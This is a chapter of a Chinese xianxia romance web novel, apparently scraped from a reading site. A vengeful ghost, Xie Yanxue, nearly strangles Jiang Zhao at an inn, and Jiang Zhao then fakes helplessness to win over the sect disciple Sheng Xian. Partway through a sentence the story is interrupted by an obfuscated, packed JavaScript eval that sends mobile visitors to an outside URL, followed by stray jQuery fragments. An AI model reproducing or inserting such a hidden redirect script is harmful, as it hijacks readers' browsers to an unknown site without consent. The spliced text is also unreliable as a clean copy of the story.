“不,不对,你已经死了!”
近在咫尺的少年面色惨白,虚浮的身影笼罩在森冷诡谲的黑雾中,周身汹涌的阴冷煞气冲天,令人不寒而栗,压迫感极强,如同刚从地狱里爬出来的凶戾恶鬼,眼底含着癫狂讥讽的笑,直勾勾地盯着他。
“是啊,我已经死了。”
“我身上中了不知名的咒术,咒术发作时,周围想要杀我的人趁机捅穿我的胸膛,碾碎我的筋骨和金丹。半夜,邪祟恶鬼也疯狂涌上来撕碎我的神魂吃食,你要是亲眼看见定会欢欣,只是可惜没能如阿昭所愿死得彻底,我将那群废物邪祟恶鬼全都撕碎吃了,成了鬼修。”
谢砚雪故意将自己说得凄惨,还心情愉悦的勾起唇,“江昭,作为帮我收尸的谢礼,你想怎么死?我把你的脖子折断,再将你的灵魂扯出来直接吞了怎么样?”
嘴上问着,却一点也不需要江昭的回答,圈外脖颈上的黑雾收紧。
江昭呼吸困难,漂亮白皙的脸蛋涨红皱紧,睚眦欲裂地骂道:“贱人,你果然早就盼着我去死,那群瞎了眼的人竟都以为你纤尘不染,恩将仇报、狼心狗肺的人分明是你!你要是杀了我,不怕有一天遭报应?”
这些咒骂让江昭的余息更加微弱。
谢砚雪早已听惯了他的辱骂,笑吟吟地看着他痛苦挣扎,仿佛看的是什么让人赏心悦目的演出。
江昭眼前发黑,窒息感让他顿时慌乱起来,娴熟地忍下心中的恨意,变得弱态,水雾雾的眸子望着谢砚雪,好不可怜地说:“砚雪,我不会咒术,对你下咒的人不是我。我快喘不过气了,你饶了我吧。”
这副乖顺讨好的姿态,仿佛刚才咒骂谢砚雪的人不是他。
谢砚雪不觉意外。
江昭惯会如此。
只要师兄们和爹娘来找他,待人走后,江昭就会气势汹汹地跑到他的寝殿对他骂骂咧咧。
但若是他离开宗门又或是去藏书阁等地,江昭先是骂一顿,又很快酸不溜秋地对他献殷勤示弱,矫揉造作地央求他帮忙带些东西来,或是偷偷带他修仙,教授他一些术法。
可江昭的灵根被废,这辈子只能当凡人。
江昭知晓后就跟他玩对谢卫珩的那一套——引诱,仗着自己颇有姿色就爬他的床,还不割血喂他,故意露出脖颈,意图毁他道心。
他意味不明地哼笑一声:“很难受?”
江昭忙点头,见谢砚雪软下态度,压下的恨意重升,在心中连骂贱人。
他早晚有一天会杀了他!
但劫后余生的欢喜刚升上来,就听谢砚雪咧嘴,恶劣的嗤笑一声:“蠢货,我都恩将仇报、狼心狗肺了,还怕什么报应?”
那笑容刺眼极了。
江昭睁大双眼。
贱人!
他恨得想要将谢砚雪的脸撕烂,拼命伸手去够一旁挂着的储物袋,指尖将要触碰到的瞬间,黑雾不紧不慢地又收紧了几分。
他只能放弃这个想法,转而去将舌尖咬出血对付谢砚雪,却连最简单的发声都做不到,只能痛恨自己无能,怨恨地死瞪着谢砚雪。
痛苦的窒息感比被谢卫珩抽鞭子还让他觉得死亡更进一步。
难道他就要这么死了么?
凭什么!
谢砚雪都死了,为什么还要让他变成恶鬼回来,那群邪祟恶鬼当真是群废物,连个贱人都打不过。
可就在江昭以为自己要死了的时候,脖颈上的黑雾骤然一松。
来自神魂深处的剧痛让谢砚雪痛苦地扶着前额,瞳孔微缩,笑容骤敛,眸色冷厉。
他皱眉抬手用力。
江昭被掐得喘不过气来时,那诡异的痛感再次升了上来,且一次比一次严重。
谢砚雪甚至能够感觉到自己的神魂在撕裂燃烧,他内视识海,就见自己的神魂上刻印的符文正闪烁着恐怖血光。
那是禁制。
谢砚雪不得不松开江昭,脸上仍旧带着笑意,甚至笑得更为疯癫,可那双黑眸却阴郁可怖地盯着江昭,眼底覆满寒霜。
江昭剧烈咳嗽了几声,来不及去思考这贱人为什么突然放开他。
怕对方又动手,他拿到储物袋,将里面仅剩的符箓全都拿出来,尽数撕碎丢在谢砚雪的身上。
火光瞬间爆开。
江昭扯住小童买来的里衣胡乱套上,余光瞥见炸开的黑雾朝他袭来,心中一惊,不管不顾地往外狂奔。
-
楼下客堂来了十几位少年,淡青色的窄袖锦袍上绣着太虚仙门的花纹,腰间皆配一把长剑。
为首男子容貌绝尘,玉冠束起如墨长发,身着月白流云纹锦袍,腰间坠着琉璃玉牌,手握水白色长剑,宛若仙人降临。
身旁金色紧衣的金贵少年唇红齿白,眉间一抹红,发冠上满是昂贵饰品,右耳挂着碎钉耳坠,双手手腕上皆戴着几个金环,走路间丁零当啷响。
“十间上房。”
女掌柜抬头,拨着算盘的手一哆嗦,细声细语地说:“我们只接待凡人。”
“只接待凡人?什么破规矩。”金贵少年萧舟焱不悦拧眉,拿出象征着大俪皇室身份的令牌举到女掌柜的面前,“可看清楚了?”
女掌柜定睛一看,面色骤变。
“您是七……七皇子?”
萧舟焱身侧的一个弟子将银钱丢在柜案上,连忙耀武扬威地催促,“既然看清楚了还不快安排房间。”
“是…是!”
萧舟焱睨了眼畏畏缩缩的女掌柜,转身和盛羡上楼。
“大师兄,其他凡人看见我们都跟看见神仙一样恨不得将我们供奉起来,可那女掌柜和街上那些女子看见我们,眼底却是畏惧的,根本就不欢迎我们,还纵容丈夫去春风楼寻欢作乐,实在诡异。”
“明日再去探查。”盛羡点头,对同门弟子说:“大家先回房休息。”
弟子们各自选好房间。
盛羡正准备回房,倏地察觉到什么,脸色微微一变,停下脚步沉眸看向旁侧房间,手中揽星河剑身嗡鸣作响。
金贵少年萧舟焱注意到揽星河的异常,警惕地看着那间房,“大师兄,怎么了?”
盛羡说:“有恶鬼。”
房门砰的从里打开,跑出来的却是个容貌昳丽的少年,盛羡出剑的动作一顿,怀中紧跟着一暖。
江昭身上的伤对于一个凡人来说还是太重了,房门打开,疼痛和无力让他往前一摔。
意料中的痛苦并未出现。
反而有人在他耳边气急大吼:“哪里来的下贱东西,竟敢玷污大师兄,还不快松开你的脏手!”
江昭这才意识到自己扑进一个温和覆满檀香的怀中,怔怔地仰起头看着面前仙姿玉貌的男人。
谢砚雪给他带的画册里面有一本叫《仙门美人册》,里面记录了七大洲顶尖的十位美人。
其中有一位叫盛羡,乃十大宗之首太虚仙门的首席大弟子,也是天下第一人玄曜仙尊的首徒,天赋极高,单水天灵根,不过二十一岁,便已到达金丹期巅峰修为。
身旁总跟着玄曜仙尊收来的第二位弟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809879|210799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子萧舟焱,常佩戴金环玉饰,是人族金枝玉叶的七皇子。
只一眼,江昭便确定眼前的男人就是盛羡。
他满肚子坏水地转了转眼珠子,不过片刻,眼中再次挂起晶莹泪珠,莹白双手紧紧环住男人的腰肢,孱弱的身躯摇摇欲坠,惊惧的咬着泛白的唇,可怜兮兮的哀求:“仙长,救救我……”
盛羡垂着眸,被这梨花带雨令人怜惜的模样看得晃了神。
少年的身体纤弱柔软,满是狼狈的一扑,那股软意就好似一下子撞进了他的心里,被触碰过的地方轻微发僵、发热。
虽说他性子温和,深受弟子们的尊崇爱戴,但他从未与人这般亲近过。哪怕隔着几层厚实布料,他却仿佛能够清晰地感觉到少年单薄凌乱里衣下的滑腻柔软,叫他心尖发颤。
不过片刻,盛羡的面颊便泛起淡淡红色,发烫的掌心稳稳扶住少年的腰背,嗓音低哑温柔,听得人心安:“别怕。”
揽星河自剑鞘中飞出,剑意温和,剑势却凶猛骇人,迎面劈开那团乌黑浓雾。
可不过一瞬,散开的黑雾迅速聚拢并变大,诡谲的森然戾气撞上揽星河荡起来的水流,浩大气势直接将房门掀翻。
谢砚雪神魂尖锐刺痛,并不恋战,只趁着尚能喘息之机试探一番,消失前深深看了眼江昭,眸色晦暗地掠过他缠在男人腰上的双臂,嘴角噙着冷笑。
江昭感觉到背后的森森寒意,又往盛羡怀里缩了缩,却不是怕的,而是满眼怨恨。
谢砚雪给他等着。
等盛羡这傻子上钩了,他就让谢贱人去死!
萧舟焱被这一幕气得牙痒痒,满脸阴郁地伸手去拽江昭。
江昭的里衣本就穿得匆忙凌乱,被萧舟焱抓住粗暴一扯,竟直接撕裂开,露出来的白嫩玉肩和胸口上满是狰狞伤口,此刻正流着血。
“啊——”
他惊叫一声。
“如此粗劣不堪……”萧舟焱看见那晃眼的白,顿时瞪圆了眼,下一秒又对视上一双水雾雾通红的漂亮眸子,那委屈和惊恐直接撞进他心口,撞得他将剩余的话都卡在嘴边,好半会儿才咬牙说出:“你竟当众暴露,当真不知羞耻,恶心!”
江昭顺着他的视线落在自己的身上,仿佛后知后觉,羞红脸抱住双手,慌乱地扯了扯撕碎大半的里衣。
但怎么遮都遮不住。
瘦弱的身体更显得摇摇欲坠。
却在此时,宽大温暖的外袍盖在江昭的身上。
盛羡小心翼翼地避开伤口,帮江昭拢好衣服。
萧舟焱不爽地瞪着江昭,皱眉道:“大师兄,你怎么能将自己的外袍丢给他?那可是用千年仙鹤翎羽制作而成,刻满阵法,丢给他都玷污了,简直暴殄天物!”
盛羡看他一眼,声音发沉:“小焱,道歉。”
“他也配?”萧舟焱冷眼一瞥,阴阳怪气地哼道:“他能惹来恶鬼算什么好东西?说不定这恶鬼就是他害死的,大师兄你可别被他那副娇作的模样骗了!”
他可亲眼看见那恶鬼消失前特意看了江昭一眼。
江昭似是被吓到了,又扑进盛羡怀里,咬唇道:“仙长,那东西还会回来吗?我好害怕,今晚能不能跟仙长一起住……”
萧舟焱眼皮一跳:“休想!”
这人和谢砚雪那贱人一样讨厌。
江昭眼底的阴翳转瞬即逝,可怜巴巴地望着盛羡,刚开口想要说什么,虚弱的身体却终于撑到极限,晕了过去。
盛羡心跟着一颤,动作极快地将他打横抱起。